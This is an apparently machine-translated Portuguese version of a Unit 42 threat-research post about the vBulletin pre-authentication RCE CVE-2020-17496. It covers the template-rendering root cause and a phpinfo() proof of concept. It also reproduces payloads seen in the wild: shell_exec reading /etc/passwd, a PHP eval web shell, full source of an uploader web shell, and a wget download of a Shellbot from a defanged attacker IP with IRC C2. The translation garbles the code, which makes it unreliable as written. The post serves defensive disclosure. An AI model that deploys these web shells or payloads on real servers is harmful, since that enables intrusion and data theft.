Naquela época, os pesquisadores da Unidade 42 publicaram um blog sobre essa vulnerabilidade do vBulletin , analisando sua causa raiz e o exploit que encontramos. Ao explorar esta vulnerabilidade, um invasor pode obter acesso privilegiado e controle sobre qualquer servidor vBulletin executando as versões 5.0.0 até 5.5.4 e, potencialmente, bloquear as organizações em seus próprios sites.
Recentemente, os pesquisadores da Unidade 42 descobriram explorações ininterruptas aproveitando a vulnerabilidade RCE de pré-autorização do vBulletin CVE-2020-17496 . As explorações são um desvio da correção da vulnerabilidade anterior, CVE-2019-16759, que permite que os invasores enviem uma solicitação HTTP elaborada com um nome de modelo especificado e código PHP malicioso, e leva à execução remota de código. Mais de 100.000 sites são construídos no vBulletin, incluindo os fóruns das principais empresas e organizações, portanto, é imperativo corrigir imediatamente.
Neste blog, fornecemos detalhes sobre o desvio do patch da vulnerabilidade, código de prova de conceito (PoC) para demonstrar a vulnerabilidade e informações sobre os ataques que observamos na natureza.
Os clientes da Palo Alto Networks são protegidos pelos seguintes serviços e produtos por meio de assinaturas de prevenção de ameaças e a filtragem de URL bloqueia o tráfego C2 relacionado.
A renderização de modelo é uma funcionalidade do vBulletin que pode converter modelos XML em código PHP e executá-lo. A partir da versão 5.0, o vBulletin começa a aceitar solicitações Ajax para renderização de template. A renderização é executada com uma função staticRenderAjax . Conforme mostrado na Figura 1, os valores dos parâmetros para esta função são de $ _REQUESTS , $ _GET e $ _POST . Portanto, o nome do modelo e a configuração relacionada que vem desses parâmetros são controláveis pelo usuário, o que leva à vulnerabilidade do RCE CVE-2019-16759.
Quando um invasor manipula uma solicitação Ajax que contém o nome do modelo widget_php e código malicioso colocado no parâmetro widgetConfig [‘code’] , o mecanismo de renderização converterá o modelo XML widget_php mostrado na Figura 2 em uma string de código PHP e, em seguida, executará o código pela função eval destacada na Figura 3. Como o código gerado tem uma linha de vB5_Template_Runtime :: evalPhp (”. $ widgetConfig [‘code’] , o código malicioso na solicitação será executado.
[código]
$final_rendered = ” . ”;
if (empty ($ widgetConfig) AND! empty ($ widgetinstanceid))
{
$ final_rendered. = ”. ”; $ widgetConfig = vB5_Template_Runtime :: parseData (‘widget’, ‘fetchConfig’, $ widgetinstanceid);
$final_rendered .= ” . ‘ ‘;
}
outro {
$final_rendered .= ”;
}
$final_rendered .= ” . ‘ ‘ . ”;
if (! empty ($ widgetConfig))
{
$final_rendered .= ‘ ‘ . ”;
$ widgetid = $ widgetConfig [‘widgetid’];
$final_rendered .= ” . ‘ ‘ . ”;
$widgetinstanceid = $widgetConfig[‘widgetinstanceid’];
$final_rendered .= ” . ‘ ‘;
}
outro
{
$final_rendered .= ”;
}
$ final_rendered. = ”. ”. vB5_Template_Runtime :: includeTemplate (‘module_title’, array (‘widgetConfig’ => $ widgetConfig, ‘show_title_divider’ => ‘1’, ‘can_use_sitebuilder’ => $ user [‘can_use_sitebuilder’])). ”. ”;
if (! empty ($ widgetConfig [‘code’]) AND! vB :: getDatastore () -> getOption (‘disable_php_rendering’))
{
$ final_rendered. = ”. ”. ”. vB5_Template_Runtime :: evalPhp (”. $ widgetConfig [‘code’].”). ”;
}
outro
{
$final_rendered .= ‘ ‘ . ”;
if ($ user [‘can_use_sitebuilder’])
{$ final_rendered. = ”. vB5_Template_Runtime :: parsePhrase (“click_edit_to_config_module”). ”;
}
outro
{
$final_rendered .= ”;
}
$final_rendered .= ” . ‘ ‘;
}
$final_rendered .= ” . ‘ ‘;
[/código]
A partir da versão 5.5.5, uma correção para CVE-2019-16759 foi introduzida na função callRender () conforme mostrado na Figura 4. Ela usa um mecanismo de lista de não permissão para verificar o nome do modelo. Se o nome for widget_php , o mecanismo não renderizará o modelo solicitado.
Outra correção é que a função evalPhp verificará o nome do modelo atual. Após a correção, widget_php é o único modelo que pode ser usado para executar o código PHP, conforme mostrado na Figura 5.
A correção torna widget_php o único template que pode ser utilizado para execução de código PHP e, enquanto isso, restringe o acesso do usuário a este template. No entanto, no bypass mais recente, descobrimos que outro modelo pode ser utilizado para carregar este modelo. Esse modelo é widget_tabbedcontainer_tab_panel .
Este modelo widget_tabbedcontainer_tab_panel mostrado na Figura 6, acima, é um modelo que pode ser usado para renderizar vários modelos filhos. Renderizar o modelo em si não leva diretamente à execução remota do código. No entanto, a renderização desse modelo acionará a renderização de outros modelos filhos.
O código a seguir é o código PHP que é renderizado a partir do modelo widget_tabbedcontainer_tab_panel em XML. Depois que esse código for gerado, ele será executado.
[código]
$final_rendered = ” . ”;
$ panel_id = ”. vB5_Template_Runtime :: vBVar ($ id_prefix) .vB5_Template_Runtime :: vBVar ($ tab_num). ”;
$final_rendered .= ” . ” . ” . ‘ ‘ . ”;
if (isset ($ subWidgets) AND (is_array ($ subWidgets) OR $ subWidgets instanceof ArrayAccess))
{
foreach ($ subWidgets AS $ subWidget)
{
$ final_rendered. = ”. vB5_Template_Runtime :: includeTemplate ($ subWidget [‘template’], array (‘widgetConfig’ => $ subWidget [‘config’], ‘widgetinstanceid’ => $ subWidget [‘widgetinstanceid’], ‘widgettitle’ => $ subWidget [‘ title ‘],’ tabbedContainerSubModules ‘=> $ subWidget [‘ tabbedContainerSubModules ‘],’ product ‘=> $ subWidget [‘ product ‘])). ”;
}
}$final_rendered .= ” . ‘’;
[/código]
No código PHP, pode-se ver que o motor de renderização irá percorrer o “subWidget” e sua configuração de $ subWidgets e criar um novo objeto de template, após o qual a renderização irá gerar seu código PHP. Nesse caso, se a string widget_php for atribuída à variável subWidget e o código malicioso for colocado em $ widgetConfig [‘code’] , o código malicioso será executado da mesma forma que com CVE-2019-16759.
Com base em nossa análise, podemos construir o código de exploração para provar a funcionalidade. A chamada da função callRender requer o método POST HTTP (conforme Figura 7).
A Figura 8 mostra uma página comprometida que contém o resultado do código phpinfo () ; com as informações do pedido. As Figuras 9 e 10 mostram algumas outras solicitações manipuladas que têm o mesmo efeito.
Na URL, o nome do modelo filho widget_php e o código malicioso phpinfo (); exit (); estão no subWidget da matriz como o primeiro elemento. Quando o back-end processa este URL, o código malicioso é executado.
Detectamos o primeiro incidente de exploração CVE-2020-17496 em 10 de agosto de 2020 e, posteriormente, descobrimos que as tentativas de exploração de diferentes endereços IP estão em andamento. Observe que esses são ataques díspares e não um esforço coordenado de nenhum invasor em particular.
De acordo com o tráfego malicioso que capturamos, existem vários IPs de origem executando varreduras. Essas varreduras tentam encontrar sites vulneráveis e coletar essas informações, o que é uma etapa inicial dos ataques cibernéticos. O tráfego é mostrado nas Figuras 11-15. Essas cargas tentam executar comandos do sistema echo e id , que podem dar aos invasores conhecimento se os alvos são ou não vulneráveis de acordo com as respostas.
Alguns invasores estão tentando explorar a vulnerabilidade e ler arquivos no lado do servidor. A carga útil contém a função PHP shell_exec () para a execução de comandos arbitrários do sistema e um comando do sistema cat ../../../../../../../../../ .. / etc / passwd para ler o conteúdo do / etc / passwd . O tráfego é mostrado na Figura 15. Assim que o ataque for bem-sucedido, informações confidenciais dos alvos podem ser divulgadas.
Alguns invasores estão explorando a vulnerabilidade para instalar um shell da web.
A Figura 16 mostra que o exploit está tentando escrever um shell web baseado em PHP <? Php @eval ($ _ POST [“x”]);?> Para o arquivo conf.php no diretório do host da web com a função PHP file_put_content ( ) . Assim que o ataque for bem-sucedido, os invasores podem enviar seus comandos via solicitação HTTP POST com o parâmetro x para o shell da web e executar os comandos no lado do servidor.
A Figura 17 mostra que o exploit está tentando baixar um script PHP no servidor vítima. O código do webshell é o seguinte. O código fornece uma página de upload para que os invasores façam upload de quaisquer arquivos e conduzam as etapas de acompanhamento de um ataque cibernético.
[código]
<? php
relatório_de_erro (0);
echo “Jasmine <br>”;
echo ”<font color = # ff0000>”. php_uname (). ””;
imprimir “\ n”; $ disable_functions = @ini_get (“disable_functions”);
echo “<br> DisablePHP =”. $ disable_functions; imprimir “\ n”;
echo ”<br> <form method = post enctype = multipart / form-data>”;
echo ”<input type = file name = f> <input name = k type = submit id = k value = upload> <br>”;
if ($ _ POST [“k”] == upload) {
if (@copy ($ _ FILES [“f”] [“tmp_name”], $ _ FILES [“f”] [“name”])) {
echo ”<b>”. $ _ FILES [“f”] [“nome”];
}outro{
echo ”<b> Gagal upload cok”;
}
}
?>
[/código]
A Figura 18 mostra que a exploração está tentando escrever código PHP codificado em base64 em um arquivo no diretório do host da web. A nova página levará a um ponto de entrada de upload de arquivo arbitrário, permitindo que os invasores conduzam as etapas de acompanhamento de um ataque cibernético.
Alguns invasores estão utilizando a vulnerabilidade para baixar um malware de script baseado em Perl (Shellbot) com a função PHP shell_exec () para a execução do comando do sistema wget do endereço http: // 178 [.] 170 [.] 117 [. ] 50 / bot1 e execute-o. A carga útil pode ser vista na Figura 19.
Uma vez que o script é executado, ele se conectará a um servidor de comando e controle (C2) baseado em IRC com o endereço de 66 [.] 7 [.] 149 [.] 161: 6667 , entre no canal IRC #afk então continue respondendo ao PING do servidor, como no tráfego mostrado na Figura 20. Depois de receber os comandos do canal de bate-papo, ele executará o código relacionado de varredura de porta, baixará arquivos, executará comandos do sistema, iniciará um ataque de inundação, pop uma concha para os atacantes e assim por diante.
Um exploit foi encontrado para baixar uma variante do Mirai (Sora) do servidor do invasor. No entanto, a carga útil é ineficaz, pois usa o método HTTP incorreto.
De acordo com a análise das amostras, eles se espalham com diferentes combinações de exploits do CVE-2020-5902 (o que seria ineficaz, pois a carga útil usa comandos bash, enquanto o exploit requer que os comandos injetados sejam específicos compatíveis com CLI) , CVE-2020-1937 , CVE-2020-10173 , CVE-2020-10987 , Netgear R700 RCE, Netlink GPON Router 1.0.11 RCE e a vulnerabilidade CVE-2020-17496 discutida neste blog.
Existem vários tipos de tentativas de exploração contra a vulnerabilidade CVE-2020-17496 de pré-autenticação do vBulletin RCE sendo detectada por nossa plataforma de ameaças. Como um pacote de software de fórum amplamente utilizado e em execução há muito tempo no mercado, foi identificado como um alvo valioso pelos invasores.
A vBulletin lançou o patch para corrigir esta vulnerabilidade em 10 de agosto de 2020. Aplicar o patch para a versão mais recente reduzirá os riscos, o que é altamente recomendado.
Os clientes da Palo Alto Networks são protegidos pelos seguintes serviços e produtos:
Pesquisadores da Huntress identificaram uma campanha massiva de phishing que usa infraestrutura da Railway e…
A Mazda informou que um acesso externo não autorizado a um sistema ligado à gestão…
A CVE-2026-32746, com CVSS 9.8, afeta o telnetd do GNU InetUtils até a versão 2.7…
A campanha GlassWorm voltou com escala muito maior e já atingiu 433 componentes em GitHub,…
Como o golpe funcionava- O atacante publicou um projeto “parecido com legítimo” no GitHub, usando…
Falha crítica no better-auth permite criar API keys sem autenticação para usuários arbitrários, com risco…